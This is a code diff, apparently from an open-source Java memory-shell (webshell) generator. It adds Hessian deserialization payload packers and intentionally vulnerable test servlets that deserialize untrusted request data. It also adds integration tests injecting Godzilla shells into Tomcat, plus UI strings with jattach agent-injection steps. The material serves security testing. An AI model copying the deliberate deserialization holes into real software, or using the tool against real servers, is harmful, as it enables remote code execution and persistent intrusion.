+            case HessianDeserialize -> VulTool.postData(url + "/hessian", content);
+            case Hessian2Deserialize -> VulTool.postData(url + "/hessian2", content);
             case Base64 -> VulTool.postData(url + "/b64", content);
             case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
             default -> throw new IllegalStateException("Unexpected value: " + packer);

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java

@@ -46,7 +46,9 @@ public class Tomcat8DeserializeContainerTest {
                 arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils17),
                 arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils18),
                 arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils19),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils110)
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils110),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.HessianDeserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize)
         );
     }
 
@@ -56,7 +58,7 @@ public class Tomcat8DeserializeContainerTest {
         assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
     }
 
-    @ParameterizedTest(name = "{0}-expression|{1}{2}|{3}")
+    @ParameterizedTest(name = "{0}-deserialize|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container);

vul/vul-webapp-deserialize/build.gradle

@@ -28,6 +28,7 @@ dependencies {
     cb170 'commons-beanutils:commons-beanutils:1.7.0'
     cb161 'commons-beanutils:commons-beanutils:1.6.1'
 
+    implementation 'com.caucho:hessian:4.0.66'
     providedCompile 'javax.servlet:javax.servlet-api:3.1.0'
 }
 
@@ -35,18 +36,18 @@ war {
     duplicatesStrategy = DuplicatesStrategy.EXCLUDE
 
     doFirst {
-        delete "${webAppDir}/WEB-INF/dep"
+        delete "src/main/webapp/WEB-INF/dep"
 
-        copy { from configurations.cb110 into "${webAppDir}/WEB-INF/dep" }
+        copy { from configurations.cb110 into "src/main/webapp/WEB-INF/dep" }
-        copy { from configurations.cb194 into "${webAppDir}/WEB-INF/dep" }
+        copy { from configurations.cb194 into "src/main/webapp/WEB-INF/dep" }
-        copy { from configurations.cb183 into "${webAppDir}/WEB-INF/dep" }
+        copy { from configurations.cb183 into "src/main/webapp/WEB-INF/dep" }
-        copy { from configurations.cb170 into "${webAppDir}/WEB-INF/dep" }
+        copy { from configurations.cb170 into "src/main/webapp/WEB-INF/dep" }
-        copy { from configurations.cb161 into "${webAppDir}/WEB-INF/dep" }
+        copy { from configurations.cb161 into "src/main/webapp/WEB-INF/dep" }
     }
 }
 
 clean {
-    delete "${webAppDir}/WEB-INF/dep"
+    delete "src/main/webapp/WEB-INF/dep"
 }
 
 test {

vul/vul-webapp-deserialize/src/main/java/Hessian2ReadObjServlet.java

@@ -0,0 +1,28 @@
+import com.caucho.hessian.io.AbstractHessianInput;
+import com.caucho.hessian.io.Hessian2Input;
+
+import javax.servlet.ServletException;
+import javax.servlet.annotation.WebServlet;
+import javax.servlet.http.HttpServlet;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.util.Base64;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/20
+ */
+@WebServlet("/hessian2")
+public class Hessian2ReadObjServlet extends HttpServlet {
+
+    @Override
+    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
+        String data = req.getParameter("data");
+        byte[] base64 = Base64.getDecoder().decode(data);
+        ByteArrayInputStream bis = new ByteArrayInputStream(base64);
+        AbstractHessianInput in = new Hessian2Input(bis);
+        in.readObject();
+    }
+}

vul/vul-webapp-deserialize/src/main/java/HessianReadObjServlet.java

@@ -0,0 +1,28 @@
+import com.caucho.hessian.io.AbstractHessianInput;
+import com.caucho.hessian.io.HessianInput;
+
+import javax.servlet.ServletException;
+import javax.servlet.annotation.WebServlet;
+import javax.servlet.http.HttpServlet;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.util.Base64;
+
+/**
+ * @author ReaJason
+ * @since 2025/2/20
+ */
+@WebServlet("/hessian")
+public class HessianReadObjServlet extends HttpServlet {
+
+    @Override
+    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
+        String data = req.getParameter("data");
+        byte[] base64 = Base64.getDecoder().decode(data);
+        ByteArrayInputStream bis = new ByteArrayInputStream(base64);
+        AbstractHessianInput in = new HessianInput(bis);
+        in.readObject();
+    }
+}

vul/vul-webapp-deserialize/src/main/java/JavaReadObjCB110jServlet.java

@@ -7,7 +7,7 @@ import java.util.List;
  * @since 2024/12/10
  */
 @WebServlet("/java_deserialize/cb110")
-public class JavaReadObCB110jServlet extends BaseDeserializeServlet {
+public class JavaReadObjCB110jServlet extends BaseDeserializeServlet {
 
     @Override
     List<String> getDependentPaths() {

vul/vul-webapp-deserialize/src/main/java/JavaReadObjCB161jServlet.java

@@ -7,7 +7,7 @@ import java.util.List;
  * @since 2024/12/10
  */
 @WebServlet("/java_deserialize/cb161")
-public class JavaReadObCB161jServlet extends BaseDeserializeServlet {
+public class JavaReadObjCB161jServlet extends BaseDeserializeServlet {
 
     @Override
     List<String> getDependentPaths() {

vul/vul-webapp-deserialize/src/main/java/JavaReadObjCB170jServlet.java

@@ -7,7 +7,7 @@ import java.util.List;
  * @since 2024/12/10
  */
 @WebServlet("/java_deserialize/cb170")
-public class JavaReadObCB170jServlet extends BaseDeserializeServlet {
+public class JavaReadObjCB170jServlet extends BaseDeserializeServlet {
 
     @Override
     List<String> getDependentPaths() {

vul/vul-webapp-deserialize/src/main/java/JavaReadObjCB183jServlet.java

@@ -7,7 +7,7 @@ import java.util.List;
  * @since 2024/12/10
  */
 @WebServlet("/java_deserialize/cb183")
-public class JavaReadObCB183jServlet extends BaseDeserializeServlet {
+public class JavaReadObjCB183jServlet extends BaseDeserializeServlet {
 
     @Override
     List<String> getDependentPaths() {

web/package.json

@@ -38,7 +38,7 @@
     "@radix-ui/react-tabs": "^1.1.3",
     "@radix-ui/react-tooltip": "^1.1.8",
     "@tailwindcss/vite": "^4.0.7",
-    "@tanstack/react-query": "^5.66.7",
+    "@tanstack/react-query": "^5.66.8",
     "@tanstack/react-router": "^1.106.0",
     "@tanstack/router-devtools": "^1.106.0",
     "class-variance-authority": "^0.7.1",
@@ -51,7 +51,7 @@
     "react-hook-form": "^7.54.2",
     "react-i18next": "^15.4.1",
     "react-syntax-highlighter": "^15.6.1",
-    "sonner": "^2.0.0",
+    "sonner": "^2.0.1",
     "tailwind-merge": "^3.0.1",
     "tailwind-scrollbar": "^4.0.0",
     "tailwindcss-animate": "^1.0.7",

web/src/components/main-config-card.tsx

@@ -92,8 +92,8 @@ export function MainConfigCard({
       }
       form.resetField("bypassJavaModule");
       form.resetField("shellTool");
-
+      form.resetField("shellType");
-      handleShellToolChange(form.getValues("shellTool"));
+      form.resetField("urlPattern");
     }
   };
 

web/src/components/package-config-card.tsx

@@ -61,35 +61,42 @@ export function PackageConfigCard({
         </CardTitle>
       </CardHeader>
       <CardContent>
-        <FormProvider {...form}>
+        {options.length > 0 ? (
-          <FormField
+          <FormProvider {...form}>
-            control={form.control}
+            <FormField
-            name="packingMethod"
+              control={form.control}
-            render={({ field }) => (
+              name="packingMethod"
-              <FormItem className="space-y-3">
+              render={({ field }) => (
-                <FormLabel className="h-6 flex items-center gap-1">{t("packageConfig.title")}</FormLabel>
+                <FormItem className="space-y-3">
-                <FormControl>
+                  <FormLabel className="h-6 flex items-center gap-1">{t("packageConfig.title")}</FormLabel>
-                  <RadioGroup
+                  <FormControl>
-                    onValueChange={field.onChange}
+                    <RadioGroup
-                    value={field.value}
+                      onValueChange={field.onChange}
-                    className="grid grid-cols-2 md:grid-cols-3"
+                      value={field.value}
-                  >
+                      className="grid grid-cols-2 md:grid-cols-3"
-                    {options.map(({ name, value }) => (
+                    >
-                      <FormItem key={value} className="flex items-center space-x-3 space-y-0">
+                      {options.map(({ name, value }) => (
-                        <FormControl>
+                        <FormItem key={value} className="flex items-center space-x-3 space-y-0">
-                          <RadioGroupItem value={value} id={value} />
+                          <FormControl>
-                        </FormControl>
+                            <RadioGroupItem value={value} id={value} />
-                        <FormLabel className="text-xs" htmlFor={value}>
+                          </FormControl>
-                          {name}
+                          <FormLabel className="text-xs" htmlFor={value}>
-                        </FormLabel>
+                            {name}
-                      </FormItem>
+                          </FormLabel>
-                    ))}
+                        </FormItem>
-                  </RadioGroup>
+                      ))}
-                </FormControl>
+                    </RadioGroup>
-              </FormItem>
+                  </FormControl>
-            )}
+                </FormItem>
-          />
+              )}
-        </FormProvider>
+            />
+          </FormProvider>
+        ) : (
+          <div className="flex items-center justify-center p-4 space-x-2">
+            <div className="h-4 w-4 animate-spin rounded-full border-2 border-primary border-t-transparent" />
+            <span className="text-sm text-muted-foreground">{t("loading")}</span>
+          </div>
+        )}
       </CardContent>
     </Card>
   );

web/src/components/shell-result.tsx

@@ -29,7 +29,7 @@ import {
 } from "@/types/shell.ts";
 import { TFunction } from "i18next";
 import { CircleHelpIcon, FileTextIcon, ScrollTextIcon, TriangleAlertIcon } from "lucide-react";
-import { Fragment, useState } from "react";
+import { Fragment, useEffect, useState } from "react";
 import { useTranslation } from "react-i18next";
 import { toast } from "sonner";
 
@@ -280,6 +280,14 @@ function MultiPackResult({
   const packMethods = Object.keys(allPackResults ?? {});
   const [selectedMethod, setSelectedMethod] = useState(packMethods[0]);
   const [packResult, setPackResult] = useState(allPackResults?.[selectedMethod as keyof typeof allPackResults] ?? "");
+
+  useEffect(() => {
+    const methods = Object.keys(allPackResults ?? {});
+    const firstMethod = methods[0];
+    setSelectedMethod(firstMethod);
+    setPackResult(allPackResults?.[firstMethod as keyof typeof allPackResults] ?? "");
+  }, [allPackResults]);
+
   return (
     <Fragment>
       <CodeViewer

web/src/i18n/en.json

@@ -26,6 +26,7 @@
     "title3": "Injector Class",
     "usage": "Usage"
   },
+  "loading": "Loading...",
   "mainConfig": {
     "bypassJavaModule": "Bypass Java Module",
     "debug": "Debug Mode",
@@ -49,6 +50,8 @@
       "Freemarker": "Freemarker",
       "Groovy": "Groovy",
       "GzipBase64": "GzipBase64",
+      "Hessian2Deserialize": "Hessian2Deserialize",
+      "HessianDeserialize": "HessianDeserialize",
       "JEXL": "JEXL",
       "JSP": "JSP",
       "JXPath": "JXPath",
@@ -109,19 +112,19 @@
   "tips": {
     "controllerUrlPattern": "ControllerHandler type requires a specific URL Pattern, e.g., /hello_controller",
     "decompileTip": "Decompilation is still under development, so the current only sees the base64 encoding format",
+    "download-jattach": "Download the Jattach tool (consider it directly encapsulated in Jar later)",
+    "execute-command": "Execute the command to inject: /path/to/jattach pid load instrument false /path/to/agent.jar",
+    "get-pid": "Get the process pid of the target jvm (use jps or ps)",
     "handlerUrlPattern": "HandlerMethod/HandlerFunction type requires a specific URL Pattern, e.g., /hello_handler",
     "jreTip": "Target JRE version, generally speaking, Java 6 is the default version for maximum compatibility, and Java high versions can load low version bytecode.",
     "jreTip2": "In specific cases, such as JDK8 being able to use lambda expressions, and JDK9 and above having module restrictions, a specific version is required.",
+    "move-to-container": "Move MemShellAgent.jar and jattach to the container (if the test environment uses a container deployment)",
     "servletUrlPattern": "Servlet type requires a specific URL Pattern, e.g., /hello_servlet",
     "shellBytesEmpty": "Shell bytes is empty, please generate shell first",
     "shellToolNotSelected": "Please select a shell tool type first",
     "targetServerNotFound": "Target server not found?",
     "targetServerRequest": "Request",
-    "waitingForGeneration": "// Waiting for generation...",
+    "try-to-use-shell": "Try to use the memory shell",
-    "download-jattach": "Download the Jattach tool (consider it directly encapsulated in Jar later)",
+    "waitingForGeneration": "// Waiting for generation..."
-    "move-to-container": "Move MemShellAgent.jar and jattach to the container (if the test environment uses a container deployment)",
-    "get-pid": "Get the process pid of the target jvm (use jps or ps)",
-    "execute-command": "Execute the command to inject: /path/to/jattach pid load instrument false /path/to/agent.jar",
-    "try-to-use-shell": "Try to use the memory shell"
   }
 }

web/src/i18n/zh-CN.json

@@ -26,6 +26,7 @@
     "title3": "注入器类",
     "usage": "使用方法"
   },
+  "loading": "加载中...",
   "mainConfig": {
     "bypassJavaModule": "绕过 Java 模块限制",
     "debug": "调试模式",
@@ -49,11 +50,13 @@
       "Freemarker": "Freemarker",
       "Groovy": "Groovy",
       "GzipBase64": "GzipBase64",
+      "Hessian2Deserialize": "Hessian2 反序列化",
+      "HessianDeserialize": "Hessian 反序列化",
       "JEXL": "JEXL 表达式",
       "JSP": "JSP",
       "JXPath": "JXPath 表达式",
       "Jar": "Jar",
-      "JavaDeserialize": "Java反序列化",
+      "JavaDeserialize": "Java 反序列化",
       "JinJava": "JinJava",
       "MVEL": "MVEL 表达式",
       "OGNL": "OGNL 表达式",
@@ -109,19 +112,19 @@
   "tips": {
     "controllerUrlPattern": "ControllerHandler 类型的需要填写具体的 URL Pattern，例如 /hello_controller",
     "decompileTip": "反编译还在开发中，因此当前仅能看到 base64 编码格式",
+    "download-jattach": "下载 Jattach 工具（后期考虑直接封装在 Jar 中）",
+    "execute-command": "执行命令进行注入：/path/to/jattach pid load instrument false /path/to/agent.jar",
+    "get-pid": "获取目标 jvm 的进程 pid （使用 jps 或 ps）",
     "handlerUrlPattern": "HandlerMethod/HandlerFunction 类型的需要填写具体的 URL Pattern，例如 /hello_handler",
     "jreTip": "目标 JRE 版本，一般而言为了最大的兼容性，默认 Java 6 即可，Java 高版本能加载低版本的字节码。",
     "jreTip2": "特定情况下，例如 JDK8 才能使用 lambda 表达式，JDK9 以上存在模块限制时才需要选择特定的版本。",
+    "move-to-container": "将 MemShellAgent.jar 和 jattach 移动到容器中（如果测试环境使用容器部署）",
     "servletUrlPattern": "Servlet 类型的需要填写具体的 URL Pattern，例如 /hello_servlet",
     "shellBytesEmpty": "内存马字节码为空，无法下载, 请先生成内存马",
     "shellToolNotSelected": "请先选择内存马工具类型",
     "targetServerNotFound": "找不到目标服务 ？",
     "targetServerRequest": "请求适配",
-    "waitingForGeneration": "// 等待填写参数生成中...",
+    "try-to-use-shell": "尝试利用内存马",
-    "download-jattach": "下载 Jattach 工具（后期考虑直接封装在 Jar 中）",
+    "waitingForGeneration": "// 等待填写参数生成中..."
-    "move-to-container": "将 MemShellAgent.jar 和 jattach 移动到容器中（如果测试环境使用容器部署）",
-    "get-pid": "获取目标 jvm 的进程 pid （使用 jps 或 ps）",
-    "execute-command": "执行命令进行注入：/path/to/jattach pid load instrument false /path/to/agent.jar",
-    "try-to-use-shell": "尝试利用内存马"
   }
 }